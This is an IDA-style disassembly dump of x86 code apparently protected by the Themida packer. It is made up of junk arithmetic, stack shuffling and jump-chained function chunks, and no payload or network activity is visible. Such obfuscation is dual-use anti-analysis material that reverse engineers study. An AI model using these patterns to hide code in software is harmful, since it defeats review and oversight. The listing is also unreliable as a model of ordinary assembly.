loc_58E998:				; CODE XREF: sub_58C17E+342Bj
		sub	edx, 0BF8793Eh
		add	edx, edi
		add	edx, 0BF8793Eh
		add	edx, 43F14273h
		jmp	loc_58F400
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58E9B1:				; CODE XREF: Themida_:0058E592j
		xchg	ebx, [esp]
		jmp	loc_58FBBA
; ---------------------------------------------------------------------------


loc_58E9B9:				; CODE XREF: Themida_:0059202Ej
		inc	ebp
		neg	ebp
		push	esi
		mov	esi, 5E13514Dh
		sub	esi, 6A276096h
		dec	esi
		sub	esi, 4B4E3A9Ah
		add	esi, 7DE1301Bh
		sub	esi, 1CC94090h
		sub	esi, 7041DBCEh
		xor	ebp, esi
		pop	esi
		jmp	loc_58A976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58E9E9:				; CODE XREF: sub_5916CB-2FFAj
		mov	ebp, 0FA8AF580h
		push	eax
		mov	eax, 23041F06h
		add	ebp, 359B6601h
		add	ebp, eax
		sub	ebp, 359B6601h
		pop	eax
		add	ebp, 7A2E376Eh
		sub	ebp, 0FE149D3h
		add	ebp, edx
		add	ebp, 0FE149D3h
		sub	ebp, 7A2E376Eh
		sub	ebp, 23041F06h
		pop	edx
		jmp	loc_592E7F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58EA29:				; CODE XREF: sub_595123-3491j
		pop	esp
		xchg	ebx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		or	eax, eax
		jnz	loc_58B321
		push	7ED3h
		mov	[esp+14h+var_14], ebp
		push	2E55h
		mov	[esp+18h+var_18], edx
		push	esi
		mov	esi, 49463089h
		mov	edx, esi
		mov	esi, [esp+0]
		jmp	loc_58E61A
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------


loc_58EA58:				; CODE XREF: Themida_:00593CDEj
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 3D206D39h
		not	ebx
		push	edi
		mov	edi, 687D3CE6h
		xor	ebx, edi
		pop	edi
		xor	ebx, 0AAA2AE24h
		add	ebp, ebx
		jmp	loc_595ADC
; ---------------------------------------------------------------------------


loc_58EA79:				; CODE XREF: Themida_:0058B840j
		pop	edi
		jmp	loc_58B492
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	310Bh
		mov	[esp], ebx
		jmp	loc_5946F8
; ---------------------------------------------------------------------------


loc_58EA90:				; CODE XREF: Themida_:00593FCDj
		sub	al, 0CEh
		push	ebx
		mov	bl, 62h
		sub	al, bl
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		jmp	loc_594751
; ---------------------------------------------------------------------------


loc_58EAA4:				; CODE XREF: Themida_:0059018Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_596001
; ---------------------------------------------------------------------------


loc_58EAB2:				; CODE XREF: Themida_:00597695j
		push	esi
		mov	esi, 2
		sub	ebx, 6E834FB8h
		add	ebx, 3EA74325h
		add	ebx, esi
		push	ebp
		jmp	loc_593F57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58EACC:				; CODE XREF: Themida_:0058AC4Bj
					; sub_58F5B5-306Cj
		push	edi
		mov	edi, 0EA87F417h
		sub	eax, edi
		pop	edi
		sub	esi, eax
		mov	eax, [esp-0Ch+arg_8]
		add	esp, 4
		not	esi
		push	ecx
		jmp	loc_58B8B2
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58EAE5:				; CODE XREF: sub_590010-3ED4j
		push	esp
		pop	edi
		jmp	loc_58B426
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58EAEC:				; CODE XREF: Themida_:0058FE09j
					; sub_5938B9+4228j
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_597AEC
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E980


loc_58EAFB:				; CODE XREF: sub_58E980+1j
		mov	ebp, esp
		jmp	loc_593261
; END OF FUNCTION CHUNK	FOR sub_58E980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58EB02:				; CODE XREF: sub_58F5B5-3EBFj
		xor	edi, [esp+4+var_4]
		pop	esp
		add	esp, 4
		jmp	loc_59673D
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58EB0E:				; CODE XREF: sub_59762D-4BEFj
		sub	al, 17h
		add	al, ch
		add	al, 17h
		sub	al, 57h
		pop	ecx
		sub	bl, 0F3h
		jmp	loc_597472
; END OF FUNCTION CHUNK	FOR sub_59762D

; =============== S U B	R O U T	I N E =======================================



sub_58EB1F	proc near		; CODE XREF: sub_58DBC4+68A4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058A6BF SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0058B7C9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F64B SIZE 00000010 BYTES

		push	ebp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 4
		mov	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_58B7C9
sub_58EB1F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_58EB3C:				; CODE XREF: sub_596CA1-48D0j
		sub	ebx, 4
		xchg	ebx, [esp+2+var_4+2]
		pop	esp
		mov	[esp+0], ecx
		push	7742h
		mov	[esp+2+var_4+2], edx
		jmp	sub_5955A6
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58EB56:				; CODE XREF: sub_590467-3301j
		push	eax
		mov	al, 0B8h
		or	al, 0DCh
		and	al, 0B8h
		xor	al, 95h
		jmp	loc_592572
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58EB64:				; CODE XREF: Themida_:0058E709j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58EB69:				; CODE XREF: Themida_:00594B26j
		not	ebp
		push	ebp
		xchg	eax, [esp]
		jmp	loc_595620
; ---------------------------------------------------------------------------


loc_58EB74:				; CODE XREF: Themida_:005937D2j
		add	eax, 24AF5079h
		add	eax, ebx
		jmp	loc_58E32F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D99C


loc_58EB80:				; CODE XREF: sub_58D99C+334j
		push	eax
		jmp	loc_58C064
; END OF FUNCTION CHUNK	FOR sub_58D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58EB86:				; CODE XREF: sub_5EC2E8-55690j
		pop	cx
		push	edx
		mov	dl, 6Ah
		sub	dl, 54h
		xchg	bl, dl
		inc	bl
		xchg	bl, dl
		sub	dl, 1
		xor	dl, 95h
		shr	dl, 7
		jmp	loc_592A61
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58EBA2:				; CODE XREF: Themida_:00590752j
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58EBAB:				; CODE XREF: sub_590467+4D4Dj
		pop	esp
		mov	word ptr [esp-4+arg_0],	cx
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58EBB5:				; CODE XREF: Themida_:005902D6j
					; sub_594654+Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+0Ch+var_8]
		jmp	loc_597CA5
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------


loc_58EBCB:				; CODE XREF: Themida_:00592E8Fj
		inc	ebp
		neg	ebp
		push	ecx
		mov	ecx, 0AE48F92Dh
		xor	ebp, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_590D12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58EBDE:				; CODE XREF: sub_595E21+1346j
		sub	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], edi
		push	ebx
		push	0DD2424h
		pop	ebx
		jmp	loc_58CCB7
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58EBF4:				; CODE XREF: Themida_:0058CF6Ej
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		jmp	loc_59464C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58EBFE:				; CODE XREF: sub_58B4D6+ABB2j
		mov	ecx, [esp+8+var_8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_58E0E0
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_58EC19:				; CODE XREF: Themida_:005910BAj
		sub	al, 0A2h
		push	7B61h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58F880
; ---------------------------------------------------------------------------


loc_58EC39:				; CODE XREF: Themida_:0058C9D4j
		not	cl
		inc	cl
		sub	cl, 73h
		sub	al, 5Bh
		sub	al, cl
		add	al, 5Bh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_597668
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58EC51:				; CODE XREF: sub_58C17E+7793j
		mov	edx, esi
		jmp	loc_594887
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58EC58:				; CODE XREF: Themida_:00596B58j
		mov	ebp, 5A654190h
		mov	edi, 5A654194h
		jmp	loc_593BBD
; ---------------------------------------------------------------------------


loc_58EC67:				; CODE XREF: Themida_:00591038j
		jmp	loc_597B97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58EC6C:				; CODE XREF: sub_595258-5963j
		sub	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edi
		push	[esp+8+var_4]
		jmp	loc_58F5AE
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------


loc_58EC82:				; CODE XREF: Themida_:00597ECBj
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_5908CC

; =============== S U B	R O U T	I N E =======================================



sub_58EC96	proc near		; CODE XREF: sub_5955A6-A835j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058BCCD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00593F42 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005946B3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594A61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059664B SIZE 0000000A BYTES

		push	ebx
		mov	bh, 0B8h
		jmp	loc_594A61
sub_58EC96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58EC9E:				; CODE XREF: sub_59762D:loc_58FCCFj
		or	ebp, 5C967C10h
		xor	ebp, 0C24EC2BCh
		jmp	loc_58FC27
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58ECAF:				; CODE XREF: Themida_:0058C7C3j
					; Themida_:00591C1Aj
		push	ecx
		push	edx
		jmp	loc_59036E
; ---------------------------------------------------------------------------


loc_58ECB6:				; CODE XREF: Themida_:0058A85Fj
					; Themida_:0058D7DCj
		pop	edi
		add	edi, edx
		pop	edx
		push	ebx
		jmp	loc_58E820
; ---------------------------------------------------------------------------


loc_58ECC0:				; CODE XREF: Themida_:0059561Bj
		add	edi, 30982DD2h
		add	edi, eax
		jmp	loc_58FAFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594FD6


loc_58ECCD:				; CODE XREF: sub_594FD6-9E7Ej
		add	esp, 4
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		mov	[edi+eax*4], dh
		pop	edx
		jmp	loc_5954DA
; END OF FUNCTION CHUNK	FOR sub_594FD6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F836


loc_58ECE2:				; CODE XREF: sub_58F836+Bj
		mov	eax, 4D14481Bh
		jmp	loc_597BCD
; END OF FUNCTION CHUNK	FOR sub_58F836
; ---------------------------------------------------------------------------


loc_58ECEC:				; CODE XREF: Themida_:00590ECCj
		mov	ah, cl
		jmp	loc_58E597
; ---------------------------------------------------------------------------


loc_58ECF3:				; CODE XREF: Themida_:0058B912j
		inc	edx
		neg	edx
		not	edx
		sub	edx, 2B25D23Ch
		add	ebp, edx
		pop	edx
		add	ebp, 4
		jmp	loc_59800F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58ED09:				; CODE XREF: sub_58F5B5+A0Dj
		inc	ebx
		and	ebx, 46F23D47h
		shl	ebx, 4
		jmp	loc_59008F
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58ED18:				; CODE XREF: sub_58C17E+6440j
		push	esi
		jmp	loc_591DEC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58ED1E:				; CODE XREF: sub_5916C4-194Fj
		mov	eax, 49C659F5h
		inc	eax
		add	eax, 1CC00963h
		mov	ecx, eax
		pop	eax
		add	[esp-4+arg_4], 4A2B204Ah
		sub	[esp-4+arg_4], ecx
		push	ebp
		mov	ebp, 4A2B204Ah
		jmp	loc_591DF6
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58ED43:				; CODE XREF: Themida_:00597387j
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	0DD3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_590FF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58ED5C:				; CODE XREF: sub_590010-192Dj
		sub	eax, 1F3B2E91h
		sub	eax, edx
		push	edx
		mov	edx, 1F3B2E91h
		jmp	loc_59172D
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58ED6E:				; CODE XREF: Themida_:005921D3j
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58ED79:				; CODE XREF: Themida_:005979E0j
		add	ecx, 0DBCA3705h
		jmp	loc_58D4C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58ED84:				; CODE XREF: sub_595E21-3596j
		and	eax, edi
		jmp	loc_595791
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------


loc_58ED8B:				; CODE XREF: Themida_:005925EFj
		add	edi, ebx
		sub	edi, 51BE2264h
		pop	ebx
		sub	edi, 4
		jmp	loc_58EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58ED9C:				; CODE XREF: sub_58C17E-1CB4j
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	5963h
		mov	[esp+8+var_8], edx
		mov	edx, 0
		push	esi
		push	eax
		mov	eax, 511717Dh
		mov	esi, 339A70C8h
		jmp	loc_59263F
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_58EDC9:				; CODE XREF: sub_592D25-884Ej
		pop	eax
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_58C149
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58EDDF:				; CODE XREF: sub_590467+1E04j
		jnz	sub_597969
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_597DB2
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		mov	cl, bh
		push	edx
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58EDF3:				; CODE XREF: sub_595123-7048j
		add	[esp+18h+var_18], 6B080B9Ah
		pop	ebp
		jmp	loc_591765
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58EE00:				; CODE XREF: sub_590010-3D3Dj
		pop	esi
		add	edx, 4
		xchg	edx, [esp-10h+arg_C]
		pop	esp
		sub	ebx, 735F566Dh
		mov	eax, ebx
		jmp	loc_590BA5
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58EE18:				; CODE XREF: Themida_:00597F22j
		inc	ecx
		jmp	loc_593DC3
; ---------------------------------------------------------------------------


loc_58EE1E:				; CODE XREF: Themida_:0058FD4Aj
		and	dh, 0A5h
		jnz	loc_591C97
		push	ebx
		push	eax
		jmp	loc_58FE60
; ---------------------------------------------------------------------------
		jmp	loc_590E5C
; ---------------------------------------------------------------------------


loc_58EE33:				; CODE XREF: Themida_:00595968j
		add	esi, edx
		pop	edx
		jmp	loc_596243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58EE3B:				; CODE XREF: sub_58C17E+5CBDj
		neg	esi
		neg	esi
		sub	esi, 96BC43E2h
		sub	ebp, esi
		jmp	loc_596731
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58EE4C:				; CODE XREF: Themida_:0058DC75j
		pop	eax
		jmp	loc_58CE47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58EE52:				; CODE XREF: sub_58C17E+B116j
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58EE57:				; CODE XREF: Themida_:0058ED97j
		xchg	edi, [esp]
		jmp	loc_58E305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58EE5F:				; CODE XREF: sub_58F5B5-1228j
		pop	ecx
		push	ecx
		mov	ecx, 42E378FDh
		and	esi, ecx
		jmp	loc_595572
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_58EE6D:				; CODE XREF: Themida_:0059679Fj
		add	edi, 603420EBh
		shl	edi, 1
		inc	edi
		or	edi, 3703589Dh
		add	edi, 8E5204EDh
		sub	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, ebx
		push	edi
		mov	edi, 570E658Ch
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 75F07021h
		sub	esp, 4
		mov	[esp], esi
		push	37DAh
		mov	[esp], ebx
		mov	ebx, 108702A4h
		push	ecx
		mov	ecx, 205E64F5h
		add	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_596A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58EEDD:				; CODE XREF: sub_5EC2E8-5FD60j
		push	[esp+38h+var_38]
		pop	ebx
		jmp	loc_5949E4
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58EEE6:				; CODE XREF: Themida_:00592E49j
		pop	esi
		sub	edx, 5BF14809h
		add	edx, eax
		push	ebx
		mov	ebx, 4A1933DDh
		inc	ebx
		sub	ebx, 0FA7F1BA1h
		add	ebx, 3EA9480Eh
		jmp	loc_58FDCD
; ---------------------------------------------------------------------------


loc_58EF07:				; CODE XREF: Themida_:00591DACj
		xor	ebp, 0C8391E51h
		mov	ecx, ebp
		pop	ebp
		and	ecx, 34DF6AD7h
		jmp	loc_58F74F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58EF1B:				; CODE XREF: sub_5919E2-19DBj
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_58AF7B
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------


loc_58EF24:				; CODE XREF: Themida_:0058D278j
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58EF2E:				; CODE XREF: Themida_:00595C27j
		push	ecx
		mov	ecx, 297A7957h
		sub	ebp, ecx
		pop	ecx
		add	ebp, edx
		add	ebp, 297A7957h
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		jmp	loc_597773

; =============== S U B	R O U T	I N E =======================================



sub_58EF52	proc near		; CODE XREF: sub_5938B9-4E3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059066E SIZE 00000014 BYTES

		sub	esp, 4
		jmp	loc_59066E
sub_58EF52	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_58EF5A:				; CODE XREF: sub_58B4D6+C8D7j
		mov	edx, 3D0A1743h
		neg	edx
		xor	edx, 8F30456h
		xor	edx, 26F23E8h
		shl	edx, 5
		push	ecx
		mov	ecx, 1
		add	edx, ecx
		pop	ecx
		add	edx, 0A4C4662Bh
		sub	ebx, edx
		pop	edx
		add	edx, ebx
		jmp	loc_591F71
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_58EF89:				; CODE XREF: Themida_:0058D7EAj
		sub	dword ptr [esp], 3A87527Eh
		add	[esp], eax
		push	ebp
		jmp	loc_59697D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_58EF99:				; CODE XREF: sub_59089C-28E4j
		mov	[esp+8+var_8], ebx
		xor	[esp+8+var_8], 62CB5294h
		mov	edi, [esp+8+var_8]
		add	esp, 4
		jmp	sub_5916C4
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------


loc_58EFB1:				; CODE XREF: Themida_:0058F28Cj
					; Themida_:00594023j
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 4
		jmp	loc_590C9A
; ---------------------------------------------------------------------------


loc_58EFC5:				; CODE XREF: Themida_:0058D830j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 4D166A3Eh
		sub	edi, 1
		push	edi
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		pop	edi
		shr	edi, 2
		sub	edi, 2CBA656Ch
		add	ecx, edi
		pop	edi
		jmp	loc_58C262

; =============== S U B	R O U T	I N E =======================================



sub_58F013	proc near		; CODE XREF: sub_594654-9D5j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058CB4F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DA19 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005927DA SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 21CE69F6h
		xor	ebp, 555F7F6Ch
		or	ebp, 7CBD6AD2h
		not	ebp
		neg	ebp
		xor	ebp, 7CBD7ED9h
		jmp	loc_5927DA
sub_58F013	endp

; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		push	ebx
		jmp	loc_591CFF
; ---------------------------------------------------------------------------


loc_58F04D:				; CODE XREF: Themida_:00596775j
		inc	eax
		jz	loc_59470C
		shl	eax, 1
		jnp	loc_59423F
		jmp	loc_58A9BC
; ---------------------------------------------------------------------------


loc_58F061:				; CODE XREF: Themida_:0058FC22j
		mov	dl, al
		pop	eax
		add	dl, 1
		jmp	loc_5925D2
; ---------------------------------------------------------------------------


loc_58F06C:				; CODE XREF: Themida_:0058E7D2j
		push	ebx
		jmp	loc_5959D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594131


loc_58F072:				; CODE XREF: sub_594131-75EDj
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		imul	ecx
		push	edi
		sub	esp, 4
		mov	[esp+0], esp
		jmp	sub_596EB8
; END OF FUNCTION CHUNK	FOR sub_594131

; =============== S U B	R O U T	I N E =======================================



sub_58F091	proc near		; CODE XREF: sub_5916C4+3E3j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B44B SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058C5E8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CA6C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CC69 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005902C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005922A7 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	ebp
		mov	ebp, 323F51C0h
		mov	edi, 5BD54765h
		jmp	loc_5922A7
sub_58F091	endp

; ---------------------------------------------------------------------------


loc_58F0AA:				; CODE XREF: Themida_:00592745j
		jnp	loc_591DD5
		dec	dh
		jo	loc_596A73
		xor	dh, 0DEh
		neg	dh
		jmp	loc_5956D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58F0C2:				; CODE XREF: sub_590467-53B4j
		pop	esi
		sub	esp, 4
		mov	[esp+6+var_6], ecx
		jmp	loc_593C42
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_58F0CE:				; CODE XREF: Themida_:0059008Aj
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		push	ecx
		push	edx
		mov	edx, 4EDC2A70h
		add	edx, 8662843h
		jmp	loc_594665
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F0E7:				; CODE XREF: sub_590010+22A3j
		push	dword ptr [esp+0]
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		add	esp, 4
		push	eax
		push	[esp-14h+arg_14]
		pop	eax
		pop	dword ptr [esp+0]
		mov	esp, [esp-18h+arg_14]
		mov	word ptr [esp-18h+arg_14], dx
		jmp	loc_597EC1
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58F10B:				; CODE XREF: Themida_:0058E60Ej
					; Themida_:005903A6j ...
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		dec	word ptr [esp+0]
		pushf
		jmp	loc_59490B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_594566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58F12A:				; CODE XREF: sub_590010-3A05j
		jmp	loc_5943F3
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_58F12F:				; CODE XREF: sub_59762D-50A1j
					; sub_5938B9+1j
		mov	ebx, 55AA2E27h
		not	ebx
		shl	ebx, 3
		and	ebx, 1EFD4B19h
		inc	ebx
		xor	ebx, 5FF232E0h
		mov	edx, ebx
		pop	ebx
		jmp	loc_592804
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------


loc_58F14E:				; CODE XREF: Themida_:0058B97Ej
		push	4464h
		mov	[esp], ecx
		mov	ecx, 570E658Ch
		add	eax, 456602ACh
		sub	eax, ecx
		jmp	loc_596799
; ---------------------------------------------------------------------------


loc_58F167:				; CODE XREF: Themida_:005923FAj
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_594327
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58F172:				; CODE XREF: sub_5916CB+6665j
		mov	edx, ebp
		jmp	loc_58E6D0
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------


loc_58F179:				; CODE XREF: Themida_:00591A97j
		sub	ebp, eax
		jmp	loc_58D06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58F180:				; CODE XREF: Themida_:00590533j
					; sub_58F5B5+2E2Bj
		add	ecx, 0B69BBEEh
		jmp	loc_59275C
